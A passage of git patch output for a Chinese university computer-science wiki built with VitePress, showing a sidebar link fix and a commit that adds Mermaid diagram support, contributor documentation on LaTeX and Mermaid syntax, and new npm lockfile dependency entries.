zFI2X#HVZ&&T2B;1e{fojLz?{d19w+FO3HU{*dsWy*!DKcJRN56pZe>q`GAiX*!B{e zNp=vSK95R+&GRum*-^rC9<2|P-@$$S!il!0#I&~d*^0@`5bW-ymzzlr>E@}ikH?+) zRT$eP(x+mSf}bbTfFbj1Uo;O$O!X}o_Wcdybd8|?RDa$XN@SQW68Sb=U2f)1Yc!wf zu}!S9^f)Cy@Oe-;m5Q|e*m~GHsp{JRLK4ros|9F@TTne|79+pKk>ZZo8q2)JQ{%Gk zd^}ln9~pFwC6ryN=UuBcIJ97bM2YBP91TV5U_8%Jv9^j`TtPABbwYyTrABvT$Xb<9 z@6YiB;i~5j%m11E>_%Te?*rip<`uUPPKFLYLB?vX-lIZB3td5z#u-yCq10e3?(g-akGP zEht&`hD3pVC$ItjG28da!kTs}qxcct(+!MtFn&J6Aej|s1H{PZpzz5LF7}OuPesMc z_~iu?c-7r~#5(vdjzf6lrPK~uuT$IQIW9CwkWEav8APIks&vR&L%V)C%0NP|{ocL? z`sv_M< Date: Fri, 14 Jul 2023 22:39:17 +0800 Subject: [PATCH 39/85] Update config.js --- .vitepress/config.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.vitepress/config.js b/.vitepress/config.js index 0e21794..2fbd548 100644 --- a/.vitepress/config.js +++ b/.vitepress/config.js @@ -454,7 +454,7 @@ export default defineConfig({ { text: '4.10科研论文写作', link: '/4.人工智能/4.10科研论文写作' }, { text: '4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents', link: '/4.人工智能/4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents' }, { text: '4.12本章节内容的局限性', link: '/4.人工智能/4.12本章节内容的局限性' }, - { text: 'SRT社团介绍', link: '/4.人工智能/SRT.md' }, + { text: 'SRT社团介绍', link: '/4.人工智能/SRT' }, { text: 'FunRec', collapsed: true, From 5f224e86015fdb76f66285eb2d25d0542abf807d Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Fri, 14 Jul 2023 23:03:35 +0800 Subject: [PATCH 40/85] feat: add mermaid --- .vitepress/config.js | 6 +- CONTRIBUTING.md | 39 +- package-lock.json | 1973 +++++++++++++++++++++++++++++++++++++++++- package.json | 5 +- 4 files changed, 2017 insertions(+), 6 deletions(-) diff --git a/.vitepress/config.js b/.vitepress/config.js index 7715f08..8c8fa2b 100644 --- a/.vitepress/config.js +++ b/.vitepress/config.js @@ -1,5 +1,5 @@ -import { defineConfig } from 'vitepress' - +// import { defineConfig } from 'vitepress' +import { withMermaid } from "vitepress-plugin-mermaid"; import mathjax3 from 'markdown-it-mathjax3'; const customElements = [ @@ -93,7 +93,7 @@ const customElements = [ ]; // https://vitepress.dev/reference/site-config -export default defineConfig({ +export default withMermaid({ lang: 'zh-CN', title: "HDU-CS-WIKI", description: "HDU计算机科学讲义", diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index f821bb1..83ce65d 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -72,7 +72,7 @@ npm run docs:preview #预览线上环境 ## 如何使用 Git 和 Github -详见 [3.5 Git和Github](https://hdu-cs.wiki/3.%E7%BC%96%E7%A8%8B%E6%80%9D%E7%BB%B4%E4%BD%93%E7%B3%BB%E6%9E%84%E5%BB%BA/3.5git%E4%B8%8Egithub.html) +详见 [3.5 Git和Github](./3.编程思维体系构建/3.5git与github.md) ## Commit Message 规范 @@ -122,3 +122,40 @@ subject为commit概述 ## Pull Request 流程与指南 Fork 本仓库,然后在你的仓库中进行修改,修改完成后在本仓库创建 NEW Pull Request ,选择 compare across forks 提交 pr 并评论上你修改的具体信息即可,我们会第一时间审阅并合并。 +## Feature + +1. Markdown 内支持Latex公式,格式为单行公式双dollar符号、单行公式单dollar符号。(单行公式需要换行才能解析)例如: + ```latex + $行内公式\arccos{a}$ + ``` + 会渲染成 $\arccos{a}$ + ```latex + $$单行公式\arcsin{b}$$ + ``` + 会渲染成 + $$\arcsin{b}$$ + ::: tip + Latex语法在线编辑器 https://www.latexlive.com + ::: + +2. 支持Mermaid流程图,格式如下 + ```text + ```mermaid + graph TD; + A-->B; + A-->C; + B-->D; + C-->D; + ``` + ``` + 会渲染成 + ```mermaid + graph TD; + A-->B; + A-->C; + B-->D; + C-->D; + ``` + :::tip + 语法自查 https://mermaid.js.org + ::: \ No newline at end of file diff --git a/package-lock.json b/package-lock.json index 4588f36..42a920c 100644 --- a/package-lock.json +++ b/package-lock.json @@ -13,9 +13,12 @@ "markdown-it": "^13.0.1" }, "devDependencies": { + "@mermaid-js/mermaid-mindmap": "^9.3.0", "cross-env": "^7.0.3", "markdown-it-mathjax3": "^4.3.2", - "vitepress": "^1.0.0-beta.5" + "mermaid": "^10.2.4", + "vitepress": "^1.0.0-beta.5", + "vitepress-plugin-mermaid": "^2.0.13" } }, "node_modules/@algolia/autocomplete-core": { @@ -204,6 +207,12 @@ "node": ">=6.0.0" } }, + "node_modules/@braintree/sanitize-url": { + "version": "6.0.2", + "resolved": "https://registry.npmmirror.com/@braintree/sanitize-url/-/sanitize-url-6.0.2.tgz", + "integrity": "sha512-Tbsj02wXCbqGmzdnXNk0SOF19ChhRU70BsroIi4Pm6Ehp56in6vch94mfbdQ17DozxkL3BAVjbZ4Qc1a0HFRAg==", + "dev": true + }, "node_modules/@codemirror/autocomplete": { "version": "6.5.1", "resolved": "https://registry.npmmirror.com/@codemirror/autocomplete/-/autocomplete-6.5.1.tgz", @@ -1291,6 +1300,21 @@ "resolved": "https://registry.npmmirror.com/@lumino/coreutils/-/coreutils-2.1.1.tgz", "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, + "node_modules/@mermaid-js/mermaid-mindmap": { + "version": "9.3.0", + "resolved": "https://registry.npmmirror.com/@mermaid-js/mermaid-mindmap/-/mermaid-mindmap-9.3.0.tgz", + "integrity": "sha512-IhtYSVBBRYviH1Ehu8gk69pMDF8DSRqXBRDMWrEfHoaMruHeaP2DXA3PBnuwsMaCdPQhlUUcy/7DBLAEIXvCAw==", + "dev": true, + "dependencies": { + "@braintree/sanitize-url": "^6.0.0", + "cytoscape": "^3.23.0", + "cytoscape-cose-bilkent": "^4.1.0", + "cytoscape-fcose": "^2.1.0", + "d3": "^7.0.0", + "khroma": "^2.0.0", + "non-layered-tidy-tree-layout": "^2.0.2" + } + }, "node_modules/@rjsf/core": { "version": "5.9.0", "resolved": "https://registry.npmmirror.com/@rjsf/core/-/core-5.9.0.tgz", @@ -1328,6 +1352,30 @@ "react": "^16.14.0 || >=17" } }, + "node_modules/@types/debug": { + "version": "4.1.8", + "resolved": "https://registry.npmmirror.com/@types/debug/-/debug-4.1.8.tgz", + "integrity": "sha512-/vPO1EPOs306Cvhwv7KfVfYvOJqA/S/AXjaHQiJboCZzcNDb+TIJFN9/2C9DZ//ijSKWioNyUxD792QmDJ+HKQ==", + "dev": true, + "dependencies": { + "@types/ms": "*" + } + }, + "node_modules/@types/mdast": { + "version": "3.0.12", + "resolved": "https://registry.npmmirror.com/@types/mdast/-/mdast-3.0.12.tgz", + "integrity": "sha512-DT+iNIRNX884cx0/Q1ja7NyUPpZuv0KPyL5rGNxm1WC1OtHstl7n4Jb7nk+xacNShQMbczJjt8uFzznpp6kYBg==", + "dev": true, + "dependencies": { + "@types/unist": "^2" + } + }, + "node_modules/@types/ms": { + "version": "0.7.31", + "resolved": "https://registry.npmmirror.com/@types/ms/-/ms-0.7.31.tgz", + "integrity": "sha512-iiUgKzV9AuaEkZqkOLDIvlQiL6ltuZd9tGcW3gwpnX8JbuiuhFlEGmmFXEXkN50Cvq7Os88IY2v0dkDqXYWVgA==", + "dev": true + }, "node_modules/@types/prop-types": { "version": "15.7.5", "resolved": "https://registry.npmmirror.com/@types/prop-types/-/prop-types-15.7.5.tgz", @@ -1348,6 +1396,12 @@ "resolved": "https://registry.npmmirror.com/@types/scheduler/-/scheduler-0.16.3.tgz", "integrity": "sha512-5cJ8CB4yAx7BH1oMvdU0Jh9lrEXyPkar6F9G/ERswkCuvP4KQZfZkSjcMbAICCpQTN4OuZn8tz0HiKv9TGZgrQ==" }, + "node_modules/@types/unist": { + "version": "2.0.7", + "resolved": "https://registry.npmmirror.com/@types/unist/-/unist-2.0.7.tgz", + "integrity": "sha512-cputDpIbFgLUaGQn6Vqg3/YsJwxUwHLO13v3i5ouxT4lat0khip9AEWxtERujXV9wxIB1EyF97BSJFt6vpdI8g==", + "dev": true + }, "node_modules/@types/web-bluetooth": { "version": "0.0.17", "resolved": "https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.17.tgz", @@ -1704,6 +1758,12 @@ "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", "dev": true }, + "node_modules/character-entities": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/character-entities/-/character-entities-2.0.2.tgz", + "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==", + "dev": true + }, "node_modules/cheerio": { "version": "1.0.0-rc.10", "resolved": "https://registry.npmmirror.com/cheerio/-/cheerio-1.0.0-rc.10.tgz", @@ -1765,6 +1825,15 @@ "validate.io-integer-array": "^1.0.0" } }, + "node_modules/cose-base": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/cose-base/-/cose-base-1.0.3.tgz", + "integrity": "sha512-s9whTXInMSgAp/NVXVNuVxVKzGH2qck3aQlVHxDCdAEPgtMKwc4Wq6/QKhgdEdgbLSi9rBTAcPoRa6JpiG4ksg==", + "dev": true, + "dependencies": { + "layout-base": "^1.0.0" + } + }, "node_modules/cross-env": { "version": "7.0.3", "resolved": "https://registry.npmmirror.com/cross-env/-/cross-env-7.0.3.tgz", @@ -1832,6 +1901,510 @@ "integrity": "sha512-I7K1Uu0MBPzaFKg4nI5Q7Vs2t+3gWWW648spaF+Rg7pI9ds18Ugn+lvg4SHczUdKlHI5LWBXyqfS8+DufyBsgQ==", "license": "MIT" }, + "node_modules/cytoscape": { + "version": "3.25.0", + "resolved": "https://registry.npmmirror.com/cytoscape/-/cytoscape-3.25.0.tgz", + "integrity": "sha512-7MW3Iz57mCUo6JQCho6CmPBCbTlJr7LzyEtIkutG255HLVd4XuBg2I9BkTZLI/e4HoaOB/BiAzXuQybQ95+r9Q==", + "dev": true, + "dependencies": { + "heap": "^0.2.6", + "lodash": "^4.17.21" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/cytoscape-cose-bilkent": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/cytoscape-cose-bilkent/-/cytoscape-cose-bilkent-4.1.0.tgz", + "integrity": "sha512-wgQlVIUJF13Quxiv5e1gstZ08rnZj2XaLHGoFMYXz7SkNfCDOOteKBE6SYRfA9WxxI/iBc3ajfDoc6hb/MRAHQ==", + "dev": true, + "dependencies": { + "cose-base": "^1.0.0" + }, + "peerDependencies": { + "cytoscape": "^3.2.0" + } + }, + "node_modules/cytoscape-fcose": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/cytoscape-fcose/-/cytoscape-fcose-2.2.0.tgz", + "integrity": "sha512-ki1/VuRIHFCzxWNrsshHYPs6L7TvLu3DL+TyIGEsRcvVERmxokbf5Gdk7mFxZnTdiGtnA4cfSmjZJMviqSuZrQ==", + "dev": true, + "dependencies": { + "cose-base": "^2.2.0" + }, + "peerDependencies": { + "cytoscape": "^3.2.0" + } + }, + "node_modules/cytoscape-fcose/node_modules/cose-base": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/cose-base/-/cose-base-2.2.0.tgz", + "integrity": "sha512-AzlgcsCbUMymkADOJtQm3wO9S3ltPfYOFD5033keQn9NJzIbtnZj+UdBJe7DYml/8TdbtHJW3j58SOnKhWY/5g==", + "dev": true, + "dependencies": { + "layout-base": "^2.0.0" + } + }, + "node_modules/cytoscape-fcose/node_modules/layout-base": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/layout-base/-/layout-base-2.0.1.tgz", + "integrity": "sha512-dp3s92+uNI1hWIpPGH3jK2kxE2lMjdXdr+DH8ynZHpd6PUlH6x6cbuXnoMmiNumznqaNO31xu9e79F0uuZ0JFg==", + "dev": true + }, + "node_modules/d3": { + "version": "7.8.5", + "resolved": "https://registry.npmmirror.com/d3/-/d3-7.8.5.tgz", + "integrity": "sha512-JgoahDG51ncUfJu6wX/1vWQEqOflgXyl4MaHqlcSruTez7yhaRKR9i8VjjcQGeS2en/jnFivXuaIMnseMMt0XA==", + "dev": true, + "dependencies": { + "d3-array": "3", + "d3-axis": "3", + "d3-brush": "3", + "d3-chord": "3", + "d3-color": "3", + "d3-contour": "4", + "d3-delaunay": "6", + "d3-dispatch": "3", + "d3-drag": "3", + "d3-dsv": "3", + "d3-ease": "3", + "d3-fetch": "3", + "d3-force": "3", + "d3-format": "3", + "d3-geo": "3", + "d3-hierarchy": "3", + "d3-interpolate": "3", + "d3-path": "3", + "d3-polygon": "3", + "d3-quadtree": "3", + "d3-random": "3", + "d3-scale": "4", + "d3-scale-chromatic": "3", + "d3-selection": "3", + "d3-shape": "3", + "d3-time": "3", + "d3-time-format": "4", + "d3-timer": "3", + "d3-transition": "3", + "d3-zoom": "3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-array": { + "version": "3.2.4", + "resolved": "https://registry.npmmirror.com/d3-array/-/d3-array-3.2.4.tgz", + "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", + "dev": true, + "dependencies": { + "internmap": "1 - 2" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-axis": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/d3-axis/-/d3-axis-3.0.0.tgz", + "integrity": "sha512-IH5tgjV4jE/GhHkRV0HiVYPDtvfjHQlQfJHs0usq7M30XcSBvOotpmH1IgkcXsO/5gEQZD43B//fc7SRT5S+xw==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-brush": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/d3-brush/-/d3-brush-3.0.0.tgz", + "integrity": "sha512-ALnjWlVYkXsVIGlOsuWH1+3udkYFI48Ljihfnh8FZPF2QS9o+PzGLBslO0PjzVoHLZ2KCVgAM8NVkXPJB2aNnQ==", + "dev": true, + "dependencies": { + "d3-dispatch": "1 - 3", + "d3-drag": "2 - 3", + "d3-interpolate": "1 - 3", + "d3-selection": "3", + "d3-transition": "3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-chord": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-chord/-/d3-chord-3.0.1.tgz", + "integrity": "sha512-VE5S6TNa+j8msksl7HwjxMHDM2yNK3XCkusIlpX5kwauBfXuyLAtNg9jCp/iHH61tgI4sb6R/EIMWCqEIdjT/g==", + "dev": true, + "dependencies": { + "d3-path": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-color": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/d3-color/-/d3-color-3.1.0.tgz", + "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-contour": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/d3-contour/-/d3-contour-4.0.2.tgz", + "integrity": "sha512-4EzFTRIikzs47RGmdxbeUvLWtGedDUNkTcmzoeyg4sP/dvCexO47AaQL7VKy/gul85TOxw+IBgA8US2xwbToNA==", + "dev": true, + "dependencies": { + "d3-array": "^3.2.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-delaunay": { + "version": "6.0.4", + "resolved": "https://registry.npmmirror.com/d3-delaunay/-/d3-delaunay-6.0.4.tgz", + "integrity": "sha512-mdjtIZ1XLAM8bm/hx3WwjfHt6Sggek7qH043O8KEjDXN40xi3vx/6pYSVTwLjEgiXQTbvaouWKynLBiUZ6SK6A==", + "dev": true, + "dependencies": { + "delaunator": "5" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-dispatch": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-dispatch/-/d3-dispatch-3.0.1.tgz", + "integrity": "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-drag": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/d3-drag/-/d3-drag-3.0.0.tgz", + "integrity": "sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg==", + "dev": true, + "dependencies": { + "d3-dispatch": "1 - 3", + "d3-selection": "3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-dsv": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-dsv/-/d3-dsv-3.0.1.tgz", + "integrity": "sha512-UG6OvdI5afDIFP9w4G0mNq50dSOsXHJaRE8arAS5o9ApWnIElp8GZw1Dun8vP8OyHOZ/QJUKUJwxiiCCnUwm+Q==", + "dev": true, + "dependencies": { + "commander": "7", + "iconv-lite": "0.6", + "rw": "1" + }, + "bin": { + "csv2json": "bin/dsv2json.js", + "csv2tsv": "bin/dsv2dsv.js", + "dsv2dsv": "bin/dsv2dsv.js", + "dsv2json": "bin/dsv2json.js", + "json2csv": "bin/json2dsv.js", + "json2dsv": "bin/json2dsv.js", + "json2tsv": "bin/json2dsv.js", + "tsv2csv": "bin/dsv2dsv.js", + "tsv2json": "bin/dsv2json.js" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-dsv/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true, + "engines": { + "node": ">= 10" + } + }, + "node_modules/d3-ease": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-ease/-/d3-ease-3.0.1.tgz", + "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-fetch": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-fetch/-/d3-fetch-3.0.1.tgz", + "integrity": "sha512-kpkQIM20n3oLVBKGg6oHrUchHM3xODkTzjMoj7aWQFq5QEM+R6E4WkzT5+tojDY7yjez8KgCBRoj4aEr99Fdqw==", + "dev": true, + "dependencies": { + "d3-dsv": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-force": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/d3-force/-/d3-force-3.0.0.tgz", + "integrity": "sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg==", + "dev": true, + "dependencies": { + "d3-dispatch": "1 - 3", + "d3-quadtree": "1 - 3", + "d3-timer": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-format": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/d3-format/-/d3-format-3.1.0.tgz", + "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-geo": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/d3-geo/-/d3-geo-3.1.0.tgz", + "integrity": "sha512-JEo5HxXDdDYXCaWdwLRt79y7giK8SbhZJbFWXqbRTolCHFI5jRqteLzCsq51NKbUoX0PjBVSohxrx+NoOUujYA==", + "dev": true, + "dependencies": { + "d3-array": "2.5.0 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-hierarchy": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/d3-hierarchy/-/d3-hierarchy-3.1.2.tgz", + "integrity": "sha512-FX/9frcub54beBdugHjDCdikxThEqjnR93Qt7PvQTOHxyiNCAlvMrHhclk3cD5VeAaq9fxmfRp+CnWw9rEMBuA==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-interpolate": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-interpolate/-/d3-interpolate-3.0.1.tgz", + "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", + "dev": true, + "dependencies": { + "d3-color": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-path": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/d3-path/-/d3-path-3.1.0.tgz", + "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-polygon": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-polygon/-/d3-polygon-3.0.1.tgz", + "integrity": "sha512-3vbA7vXYwfe1SYhED++fPUQlWSYTTGmFmQiany/gdbiWgU/iEyQzyymwL9SkJjFFuCS4902BSzewVGsHHmHtXg==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-quadtree": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-quadtree/-/d3-quadtree-3.0.1.tgz", + "integrity": "sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-random": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-random/-/d3-random-3.0.1.tgz", + "integrity": "sha512-FXMe9GfxTxqd5D6jFsQ+DJ8BJS4E/fT5mqqdjovykEB2oFbTMDVdg1MGFxfQW+FBOGoB++k8swBrgwSHT1cUXQ==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-scale": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/d3-scale/-/d3-scale-4.0.2.tgz", + "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", + "dev": true, + "dependencies": { + "d3-array": "2.10.0 - 3", + "d3-format": "1 - 3", + "d3-interpolate": "1.2.0 - 3", + "d3-time": "2.1.1 - 3", + "d3-time-format": "2 - 4" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-scale-chromatic": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/d3-scale-chromatic/-/d3-scale-chromatic-3.0.0.tgz", + "integrity": "sha512-Lx9thtxAKrO2Pq6OO2Ua474opeziKr279P/TKZsMAhYyNDD3EnCffdbgeSYN5O7m2ByQsxtuP2CSDczNUIZ22g==", + "dev": true, + "dependencies": { + "d3-color": "1 - 3", + "d3-interpolate": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-selection": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/d3-selection/-/d3-selection-3.0.0.tgz", + "integrity": "sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-shape": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/d3-shape/-/d3-shape-3.2.0.tgz", + "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", + "dev": true, + "dependencies": { + "d3-path": "^3.1.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/d3-time/-/d3-time-3.1.0.tgz", + "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", + "dev": true, + "dependencies": { + "d3-array": "2 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time-format": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/d3-time-format/-/d3-time-format-4.1.0.tgz", + "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", + "dev": true, + "dependencies": { + "d3-time": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-timer": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-timer/-/d3-timer-3.0.1.tgz", + "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-transition": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-transition/-/d3-transition-3.0.1.tgz", + "integrity": "sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w==", + "dev": true, + "dependencies": { + "d3-color": "1 - 3", + "d3-dispatch": "1 - 3", + "d3-ease": "1 - 3", + "d3-interpolate": "1 - 3", + "d3-timer": "1 - 3" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "d3-selection": "2 - 3" + } + }, + "node_modules/d3-zoom": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/d3-zoom/-/d3-zoom-3.0.0.tgz", + "integrity": "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw==", + "dev": true, + "dependencies": { + "d3-dispatch": "1 - 3", + "d3-drag": "2 - 3", + "d3-interpolate": "1 - 3", + "d3-selection": "2 - 3", + "d3-transition": "2 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/dagre-d3-es": { + "version": "7.0.10", + "resolved": "https://registry.npmmirror.com/dagre-d3-es/-/dagre-d3-es-7.0.10.tgz", + "integrity": "sha512-qTCQmEhcynucuaZgY5/+ti3X/rnszKZhEQH/ZdWdtP1tA/y3VoHJzcVrO9pjjJCNpigfscAtoUB5ONcd2wNn0A==", + "dev": true, + "dependencies": { + "d3": "^7.8.2", + "lodash-es": "^4.17.21" + } + }, + "node_modules/dayjs": { + "version": "1.11.9", + "resolved": "https://registry.npmmirror.com/dayjs/-/dayjs-1.11.9.tgz", + "integrity": "sha512-QvzAURSbQ0pKdIye2txOzNaHmxtUBXerpY0FJsFXUMKbIZeFm5ht1LS/jFsrncjnmtv8HsG0W2g6c0zUjZWmpA==", + "dev": true + }, + "node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dev": true, + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decode-named-character-reference": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/decode-named-character-reference/-/decode-named-character-reference-1.0.2.tgz", + "integrity": "sha512-O8x12RzrUF8xyVcY0KJowWsmaJxQbmy0/EtnNtHRpsOcT7dFk5W598coHqBVpmWo1oQQfsCqfCmkZN5DJrZVdg==", + "dev": true, + "dependencies": { + "character-entities": "^2.0.0" + } + }, "node_modules/deepmerge": { "version": "4.3.1", "resolved": "https://registry.npmmirror.com/deepmerge/-/deepmerge-4.3.1.tgz", @@ -1840,6 +2413,33 @@ "node": ">=0.10.0" } }, + "node_modules/delaunator": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/delaunator/-/delaunator-5.0.0.tgz", + "integrity": "sha512-AyLvtyJdbv/U1GkiS6gUUzclRoAY4Gs75qkMygJJhU75LW4DNuSF2RMzpxs9jw9Oz1BobHjTdkG3zdP55VxAqw==", + "dev": true, + "dependencies": { + "robust-predicates": "^3.0.0" + } + }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": 